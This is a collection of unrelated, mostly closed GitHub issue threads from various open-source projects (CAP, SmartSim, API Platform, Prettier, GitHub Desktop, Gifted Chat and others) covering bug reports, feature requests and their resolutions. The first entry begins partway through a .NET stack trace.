System.Data.SqlClient.SqlCommand.EndExecuteNonQuery(IAsyncResult asyncResult) at System.Threading.Tasks.TaskFactory`1.FromAsyncCoreLogic(IAsyncResult iar, Func`2 endFunction, Action`1 endAction, Task`1 promise, Boolean requiresSynchronization) --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at Dapper.SqlMapper.<ExecuteImplAsync>d__39.MoveNext() in C:\projects\dapper\Dapper\SqlMapper.Async.cs:line 678 --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at DotNetCore.CAP.SqlServer.SqlServerPublisher.<ExecuteAsync>d__3.MoveNext() in C:\projects\cap\src\DotNetCore.CAP.SqlServer\ICapPublisher.SqlServer.cs:line 38 --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at DotNetCore.CAP.Abstractions.CapPublisherBase.<PublishAsyncInternal>d__13.MoveNext() in C:\projects\cap\src\DotNetCore.CAP\Abstractions\CapPublisherBase.cs:line 96 --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at DotNetCore.CAP.Abstractions.CapPublisherBase.Publish[T](String name, T contentObj, String callbackName) in C:\projects\cap\src\DotNetCore.CAP\Abstractions\CapPublisherBase.cs:line 51 at CAP.Web.Controllers.HomeController.Publish(String message) in F:\work\demo\A\CAP.Demo\CAP.Web\Controllers\HomeController.cs:line 49 ClientConnectionId:25d10f2e-3f51-4ac2-a42a-9b44bc69ff56 ___ ### Requirement or improvement - Please describe about your requirements or improvement suggestions. Status: Issue closed Answers: username_1: please see release notes of v2.4.0 https://github.com/dotnetcore/CAP/releases
Samoxive/SafetyJim
267473846
Title: Allow moderators to do actions on multiple people Question: username_0: With java rewrite incoming, commands now use scanners to process arguments, which means we can easily apply mod actions (ban, warn, etc) on multiple people. Example syntax: -mod ban @user1 @user2 ... reason to ban | ban time Answers: username_0: With rewrite, users can now unmute multiple people. Status: Issue closed username_0: With how most moderative actions work (`@user reason | [time]`) this is unlikely to be implemented if even possible, no commands can target multiple users now.
CrayLabs/SmartSim
1015395433
Title: Experiment.create_batch_settings Question: username_0: # Description When writing a SmartSim driver script, ``RunSettings`` are often created to define how an entity is to be executed. These are largely convenience wrappers around parallel run commands. ### Currently Supported - ``QsubBatchSettings`` for PBS - ``SbatchSettings`` for Slurm - ``BsubBatchSettings`` for LSF - ``CobaltBatchSettings`` for Cobalt # Justification Users that wish to make their SmartSim scripts more portable to various systems that use different workload managers will benefit from these because it will perform a similar switch case that we have seen implemented in a few cases. # Implementation Strategy A single function should be created with abstract arguments that apply generally to each of the various batch command types. ```python class Experiment: ... def create_batch_settings(self, nodes, account, batch_args=None, **kwargs): ``` There is more diversity in the batch settings arguments than the run settings arguments so this function will be more difficult to make coherent accross all batch settings. ### current interfaces PBS ```python class QsubBatchSettings(BatchSettings): def __init__( self, nodes=None, ncpus=None, time=None, queue=None, account=None, resources=None, batch_args=None, **kwargs, ): ``` Slurm ```python class SbatchSettings(nodes=None, time='', account=None, batch_args=None): ``` Cobalt ```python class CobaltBatchSettings(nodes=None, time='', queue=None, account=None, batch_args=None): ``` LSF ```python class BsubBatchSettings(nodes=None, time=None, project=None, batch_args=None, smts=None, **kwargs) ``` As of now, Im thinking the final interface could look something like ```python def create_batch_settings(self, nodes, account, queue, time, batch_args=None, **kwargs): ``` Open Questions: - Should we unify the parameters for each type of ``BatchSettings``? - SbatchSettings: partition -> queue - BsubBatchSettings: project -> queue - What methods could we promote to the ``BatchSettings`` super class to have more consistency across the implementations<issue_closed> Status: Issue closed
djaodjin/djaoapp
402547989
Title: Calendar popup is cut off Question: username_0: 1. When logged in as a manager, pick a subscriber and browse to "Subscriptions" (/profile/{organization}/subscriptions/). 2. When logged in as a manager, go to coupons page and open a `ends_at` calendar. This is somewhat fixed by a workaround in the `style` attribute but not completely for the rows at the bottom of the table. Status: Issue closed Answers: username_0: fixed in PR #47
revaturelabs/rideshare-user-service
362763012
Title: Restrict access to endpoints based on user role Question: username_0: Users should only be able to access certain endpoints if they have certain roles; the foundations for this behavior are already present (through JWTs and the `User#getAuthorities()` method), but we need to flesh them out and use them. Answers: username_0: Done in #41. Status: Issue closed
googleads/googleads-mobile-unity
1011748540
Title: Ads only display when user allowed tracking Question: username_0: <!-- DO NOT DELETE validate_template=true template_path=.github/ISSUE_TEMPLATE/bug_report.md --> ### [REQUIRED] Step 1: Describe your environment * Unity version: _____Unity 2020.3.12 * Google Mobile Ads Unity plugin version: _____V6.1.1 * Platform: _____ (iOS, Android, Unity Editor) iOS * Platform OS version: _____ (eg iOS 10, Android 9) iOS14.8 and iOS 14.3 * Any specific devices issue occurs on: _____iPhone * Mediation ad networks used, and their versions: _____No ### [REQUIRED] Step 2: Describe the problem On devices with iOS14.5 and above, if tracking is not allowed, no ads will be displayed. For the same App version, after tracking is allowed, and ads can be displayed correctly. Answers: username_0: After the application is released, it can be displayed normally Status: Issue closed
api-platform/api-platform
177414054
Title: Content negociation with Behat and v2.0.0-RC1 Question: username_0: Hi, I have an issue since v2.0.0-RC1 with my Behat tests : "The content-type "application/x-www-form-urlencoded" is not supported". When I change the api version to v2.0.0-beta, it works fine. The error only appears on v2.0.0-RC1. I tried to add the content type in the configuration, but the message does not change and become strange : "The content-type "application/x-www-form-urlencoded" is not supported. Supported MIME types are "application/x-www-form-urlencoded", "application/ld+json", "application/xml", "text/xml"." My behat feature : ```yml Feature: API Website I need to be able to retrieve, create, update and delete websites trough the API. Scenario: Create a valid website When I send a "POST" request to "/api/v1/websites" with body: """ {"protocol":"https","domain":"mydomain.com","status":"1"} """ Then the response status code should be 201 And the response should be in JSON And the header "Content-Type" should be equal to "application/ld+json" And the JSON should be equal to: """ { "@context": "\/app_test.php\/api\/v1\/contexts\/Website", "@id": "\/app_test.php\/api\/v1\/websites\/1", "@type": "Website", "protocol": "https", "domain": "mydomain.com", "status": "1", "pages": [] } """ ``` Is something new about content negociation ? Maybe my tests are not valid ? Any idea ? Thank you !!! Answers: username_1: As recommended by the OWASP, it's now mandatory to add a `Content-Type` header when you send a request body. Can you confirm that the following test passes? ``` Feature: API Website I need to be able to retrieve, create, update and delete websites trough the API. Scenario: Create a valid website When I add "Content-Type" header equal to "application/ld+json" And I send a "POST" request to "/api/v1/websites" with body: """ {"protocol":"https","domain":"mydomain.com","status":"1"} """ Then the response status code should be 201 And the response should be in JSON And the header "Content-Type" should be equal to "application/ld+json" And the JSON should be equal to: """ { "@context": "\/app_test.php\/api\/v1\/contexts\/Website", "@id": "\/app_test.php\/api\/v1\/websites\/1", "@type": "Website", "protocol": "https", "domain": "mydomain.com", "status": "1", "pages": [] } """ ``` username_0: Ok, with a content-type set the tests are good. Thank you !
prettier/prettier
312355259
Title: Single quotes in Atom Question: username_0: I couldn't find anything in the existing issues but I'm having trouble getting Atom to use single quotes with prettier (for typescript). `prettier:debug` gives me this: ``` ... "prettierOptions": { "semi": false, "singleQuote": true, "bracketSpacing": true, "useTabs": false, "jsxBracketSameLine": false, "printWidth": 80, "tabWidth": "auto", "trailingComma": "none", "parser": "babylon", "arrowParens": "avoid" }, ``` and running `yarn prettier src/index.ts` uses the correct quotes, but fixOnSave is replacing them all with double quotes. Any help would be greatly appreciated. Thanks! Answers: username_1: Hi, this looks like an issue in [`prettier-atom`](https://github.com/prettier/prettier-atom), could you raise the issue over there? Status: Issue closed
desktop/desktop
495288669
Title: Do you have plans for multilingual support? Question: username_0: Do you have plans for multilingual support? I want to contribute to Korean translation. If you have a schedule please tell us how to proceed. Answers: username_1: Hi @username_0, thanks so much for reaching out and for the offer to contribute to a Korean translation! We've been slowly working on localizing our help documentation in a few languages and we're building that out over time (https://help.github.com/en). We've discussed localization of the GitHub Desktop app internally, but haven't yet had the bandwidth to prioritize it alongside improving the product. It's something that several of us are really excited about the prospect of, but we aren't able to say when we'll be able to do that so I'm going to close this issue for now. I will definitely reach out in this issue if it does happen and let you know how you can get involved. Thank you SO much for the issue - it's really nice to see people eager to help make the product more inclusive and accessible around the world. Status: Issue closed
uno-isqa-8950/fitgirl-inc
399530281
Title: Edit Profile - Image Issue (error) Question: username_0: On edit profile, asks for adding an image even though the image already exists. Functionality ![image.png](https://images.zenhubusercontent.com/5c3512956cefdb13ee7f759a/8f602fc4-86c5-459e-b29c-54843dfedffe)<issue_closed> Status: Issue closed
IjzerenHein/react-native-shared-element
587369356
Title: Transition via pushViewController Question: username_0: How would I use this library if I were making a native call from react native using pushViewController? I have two views in react native and I am not using react-navigation. While since may sound strange, it is unfortunately how it's wired at the moment. Answers: username_1: Well you would need to research the API that this library exposes (it is this way to ensure that as few passes over the bridge are necessary), and create an integration for that. Status: Issue closed
FaridSafi/react-native-gifted-chat
210234402
Title: Gifted-chat doesn't work when messages subscribe on props Question: username_0: #### Issue Description Gifted chat works perfectly fine when messages are subscribed to state changes like ` <GiftedChat messages={this.state.messages} onSend={this.handleSend} user={{ _id: 1, }} /> ` but when I subscribe it to props like ` <GiftedChat messages={this.props.messagesOBJ[1]} onSend={this.handleSend} user={{ _id: 1, }} /> ` It works for retrieving messages already in messagesOBJ[1], gives warnings if anything in wrong in messagesOBJ[1]'s new messages, but if everything is alright, then it just doesn't render the new messages. #### Steps to Reproduce / Code Snippets 1. Create a redux state for storing messages 2. write server implementation for sending and receiving messages. 3. Subscrive to the redux state in Gifted-chat 4. send a new message from giftedchat to server (state updates and we recieve message on server) 5. send a new message from server to mobile device (state updates that is we recieve message on mobile) in step 4 and 5 , new messages are not rendered #### Expected Results new messages should be rendered #### Additional Information * React Native version: [ "0.39.2"] * react-native-gifted-chat version: ["react-native-gifted-chat": "0.0.10"] * Platform(s) (iOS, Android, or both?): [ios only tested.] Answers: username_1: @username_0 Hey You are passing your messages array as a reference to `GiftedChat`, the implementation doesn't care if it is on the `props` or `state`. The problem is probably with your component lifecycle. You can try to post some code and we may be able to help username_0: closing this issue. achieved the functionality using states. Status: Issue closed username_2: Facing the same issue, unable to figure out where the problem is. username_0: from the looks of it previousMessage is empty object having no message id.
smiley/steamapi
184978444
Title: Do you know way to get tags from steam page of game? Can you add this? Answers: username_1: _(moved the question above from the title to the description)_ username_1: Not that I know of. It's probably part of the Big Picture private API (see #13), which is currently not implemented by this. (Due to being private & undocumented) Status: Issue closed username_1: Closing this for now, but if you have any other questions about this, feel free to re-open the issue :)
benbaptist/benbot
107420672
Title: Online !menu Editing Question: username_0: The ability to edit !menu entries like you can edit !quotes and general commands. Answers: username_0: In addition to the online editor, can we have different menu's that can be easily switched between? I would like menu's for when I stream Survive the Stream, Terraria, Rimworld, and future games. username_1: Sure, but throw that into another issue as it's separate and I want to put that on the bill for a bigger update. I can't add that in just yet.